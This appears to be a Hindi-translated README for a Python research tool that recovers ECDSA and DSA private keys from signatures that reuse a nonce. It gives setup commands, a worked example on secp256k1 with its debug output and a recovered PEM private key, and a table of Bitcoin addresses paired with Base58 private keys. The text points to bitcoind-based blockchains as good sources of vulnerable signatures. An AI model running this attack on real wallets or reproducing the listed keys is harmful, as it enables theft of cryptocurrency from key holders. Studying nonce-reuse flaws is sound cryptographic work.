
एक क्रिप्टोग्राफिक अनुसंधान उपकरण जो सिग्नेचर कमजोरियों का विश्लेषण करने के लिए है
ECDSA और DSA नॉन्स पुन:उपयोग (Nonce Reuse) निजी कुंजी पुनर्प्राप्ति हमलों को निष्पादित करें
सिग्नेचर कमजोरियों के विश्लेषण के लिए एक क्रिप्टोग्राफिक अनुसंधान उपकरण
आइए समान nonce k साझा करने वाले दो सिग्नेचरों के लिए निजी-कुंजी पुनर्प्राप्त करें। ध्यान दें कि समान nonce k चुनने से दोनों सिग्नेचरों में समान सिग्नेचर मान r होता है। ECDSA नॉन्स पुन:उपयोग के लिए अच्छे उम्मीदवार खोजने हेतु विभिन्न संदेशों (या हैश) के लिए समान r, pubkey को curve पर साझा करने वाले सिग्नेचरों की जाँच करें। उदा. bitcoind पर आधारित ब्लॉकचेन प्रोजेक्ट आमतौर पर ECDSA सिग्नेचर सामग्री के अच्छे स्रोत होते हैं।
sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # sampleA के समान privkey, nonce reuse k के कारण समान r।
# निजी कुंजी पुनर्प्राप्त करें
sampleA.recover_nonce_reuse(sampleB) # sampleA को पुनर्प्राप्त निजी कुंजी से भरता है, उपयोग के लिए तैयार
print sampleA.privkey
Python 2.x:
#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py
Python 3.x:
#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py
| BTC पता | Base58 Privkey | r |
|---|---|---|
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 113563387324078878147267949860139475116142082788494055785668341901521289846519 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 18380471981355278106073484610981598768079378179376623360720556873242139981984 |
| 1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W | 5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw | 19682383735358733565748628081379024202682929012377912380310432818686294127462 |
| 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 | 5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT | 6828441658514710620715231245132541628903431519484374098968817647395811175535 |
पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं:
from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex
# वक्र निर्दिष्ट करें
curve = ecdsa.SECP256k1
# हेक्स-एन्कोडेड स्ट्रिंग से मानक ecdsa pubkey ऑब्जेक्ट बनाएं
pub = ecdsa.VerifyingKey.from_string(
bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
# sampleA और sampleB पुनर्प्राप्ति योग्य सिग्नेचर ऑब्जेक्ट बनाएं।
# लंबा r, लंबा s, bytestr hash, pubkey obj.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
bytes_fromhex(bignum_to_hex(
765305792208265383632692154455217324493836948492122104105982244897804317926)),
pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565, #r
34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
bytes_fromhex(bignum_to_hex(
23350593486085962838556474743103510803442242293209938584974526279226240784097)),
pub)
# कुंजी अभी तक पुनर्प्राप्त नहीं हुई
assert (sampleA.x is None)
sampleA के लिए निजी कुंजी पुनर्प्राप्त करें
# कुंजी पुनर्प्राप्त करने का प्रयास करें - यह ऑब्जेक्ट sampleA को अपडेट करता है
sampleA.recover_nonce_reuse(sampleB) # sampleB के साथ साझा निजीकुंजी पुनर्प्राप्त करें
assert (sampleA.x is not None) # privkey पुनर्प्राप्ति सफल होने की पुष्टि करें। यह हमें उपयोग के लिए तैयार ECDSA privkey ऑब्जेक्ट देता है
assert sampleA.privkey
INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - nonce reuse से निजी-कुंजी पुनर्प्राप्त की जा रही है ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - निजी कुंजी पुनर्प्राप्त!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----